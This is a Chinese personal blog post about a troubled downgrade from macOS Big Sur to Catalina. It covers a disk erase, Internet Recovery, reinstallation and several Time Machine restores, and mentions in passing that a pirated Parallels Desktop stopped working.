  2. parallels desktop 启动时,明文列出来:不能联网。那我还用个羁绊?
  3. 尝试用可联网的启动器进行启动,无果。再次启动,发现没有权限打开。搜索,https://zhuanlan.zhihu.com/p/331816664,安文章方法进行脱壳,无果。无虚拟机只能当场退役,遂放弃。

此时一般有两种选择。一种是继续在 Big Sur 混下去。需要我把虚拟机弄好,并且配置一个稳定的虚拟机环境。但是从一个初始 ubuntu 开始配置的话需要极大的时间成本。另一种是回退版本。为了近期的比赛学习,我选择了第二种。

按照网上的说明,跨系统版本进行回退,需要抹除磁盘。恢复模式进入方式重启时按住 command+R ,进去之后选磁盘工具 抹除磁盘。

此时第二险来了。我抹除磁盘之后重启,企图用时间机器恢复系统。结果直接给👴干崩了。屏幕上出现了一个地球图形。官网是这么说的。

如果您无法从 macOS 恢复功能启动

如果您的 Mac 无法从内建的 macOS 恢复系统启动,它可能会尝试通过互联网从 macOS 恢复功能启动。出现这种情况时,您在启动期间将会看到旋转的地球,而不是 Apple 标志

也就是说,抹除之后重启是不对的。👴就是龙鸣。此时只能进行互联网修复。

然而互联网修复的好像并不是 mac 系统,而是 mac base。所以说此时我还是需要进行时间机器恢复,但至少我可以看到我能用时间机器恢复了。于是直接选时间机器,进行了长达好几个小时的恢复。

恢复完毕之后屏幕上直接出现一个禁止符号🚫。搜索,得出结论。

如果您的 Mac 在启动时出现一个由直线穿过的圆圈

如果出现一个由直线穿过的圆圈,则表示您的启动磁盘包含 Mac 操作系统,但它不是您的 Mac 可以使用的 macOS。

也就是说👴之前是在 Big Sur 进行的互联网恢复,给👴恢复到了 Big Sur 的 base。我还得重新安装一个 catalina 才能进行时间机器恢复。行吧,我安,我安装不行嘛。于是开始了 catalina 的安装。

第三险悄无声息地来了。Catalina 终于安装好了。我寻思这直接进行迁移助理恢复文件吧。恢复,卡住。恢复,一半,卡住。恢复,均在搜索文件那一步卡住不动。

也就是说我必须要对着这个空无一物的 catalina。到这种情况唯一的出路就是再进行一次时间机器回退。但是我此时还不知道时间机器恢复是否会像上次一样出现🚫。于是我做出决定:再恢复一次,不行直接买新电脑。

剩余时间13小时……

经历了好几个小时(大约两小时)的恢复,我成功回到了前天下午 5:01 的状态。期间经历了自我的崩溃,作业的重写,夜彳亍。

总之瞎搞是要付出代价的。我们作为盗版的受益者就应该做一些有把握的事情。千万不要因为一时的新鲜而破坏了自己的生产环境。

少年夜行,见新系统,思之。往而试之,磁盘崩。恢复不果,遂重装。然恢复缓。时间机器回退之。果。后遂无升级意。

最新动态

由于在 catalina 中出现了过几个小时自动 fork 炸系统的问题,2021.07.09 我还是升级到了 big sur。并选择妥协使用了 VMware fusion 进行虚拟机配置。

❌
❌